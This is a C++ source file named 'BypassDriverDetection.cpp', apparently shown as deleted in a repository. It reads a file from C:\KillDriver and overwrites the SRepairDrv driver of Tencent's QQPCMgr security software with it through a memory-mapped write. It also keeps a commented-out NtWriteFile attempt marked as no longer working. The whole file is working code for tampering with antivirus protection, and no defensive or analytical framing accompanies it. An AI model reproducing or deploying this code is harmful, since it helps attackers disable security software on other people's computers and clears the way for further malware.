Delete BypassDriverDetection.cpp
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#include <Windows.h>
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#include <tchar.h>
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////声明NtWriteFile 及其参数类型
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////此方法已失效
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//typedef struct _IO_STATUS_BLOCK {
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// union {
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// NTSTATUS Status;
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// PVOID Pointer;
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// } DUMMYUNIONNAME;
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//
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// ULONG_PTR Information;
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//} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
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//
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//typedef
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//VOID
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//(NTAPI *PIO_APC_ROUTINE) (
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//_In_ PVOID ApcContext,
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//_In_ PIO_STATUS_BLOCK IoStatusBlock,
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//_In_ ULONG Reserved
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//);
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//
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//typedef
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//NTSTATUS
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//(*NtWriteFile)(
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//__in HANDLE FileHandle,
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//__in_opt HANDLE Event,
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//__in_opt PIO_APC_ROUTINE ApcRoutine,
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//__in_opt PVOID ApcContext,
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//__out PIO_STATUS_BLOCK IoStatusBlock,
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//__in_bcount(Length) PVOID Buffer,
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//__in ULONG Length,
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//__in_opt PLARGE_INTEGER ByteOffset,
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//__in_opt PULONG Key
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//);
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int _tmain(int argc, _TCHAR* argv[])
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{
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////把指定目录下的文件覆盖 到键值目录下的文件
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HANDLE hFile= CreateFile(L"C:\\KillDriver",GENERIC_READ,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
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if (INVALID_HANDLE_VALUE == hFile)
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{
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return FALSE;
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}
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DWORD FileSizeHigh;
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DWORD FileSizeLow;
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FileSizeLow = GetFileSize(hFile, &FileSizeHigh);
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BYTE* Buf = new BYTE[FileSizeLow];
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DWORD error = ReadFile(hFile, Buf, FileSizeLow, &FileSizeHigh, NULL);
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if (error == 0)
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{
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return FALSE;
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}
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//创建新文件覆盖原文件
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HANDLE hFile2 = CreateFile(L"C:\\Program Files\\Tencent\\QQPCMgr\\SRepairDrv",
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GENERIC_READ | GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
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if (hFile2 == INVALID_HANDLE_VALUE)
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{
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return FALSE;
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}
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////获取NtWriteFile,采用NtWriteFile写入文件。
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////此处失效
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//
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//HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
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//NtWriteFile RNtWriteFile = (NtWriteFile)GetProcAddress(hNtdll, "NtWriteFile");
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//
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//IO_STATUS_BLOCK FunRent = {};
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//
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//PLARGE_INTEGER oFFset = 0;
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//RNtWriteFile(hFile2, NULL, NULL, NULL, &FunRent, Buf, FileSizeLow, oFFset, NULL);
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//DWORD error = GetLastError();
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//采用文件映射,写入文件。
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HANDLE hFileMap = CreateFileMapping(hFile2, NULL, PAGE_READWRITE, 0, FileSizeLow, NULL);
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if (hFileMap == NULL)
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{
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return FALSE;
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}
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//映射映射视图
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PVOID MapFileAddress = MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, FileSizeLow);
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if (MapFileAddress == NULL)
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{
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return FALSE;
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}
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//拷贝buf进映射视图
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memcpy(MapFileAddress, Buf, FileSizeLow);
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//映射到磁盘文件
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FlushViewOfFile(MapFileAddress, FileSizeLow);
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UnmapViewOfFile(MapFileAddress);
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CloseHandle(hFile);
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CloseHandle(hFile2);
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CloseHandle(hFileMap);
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delete[]Buf;
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return 0;
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}
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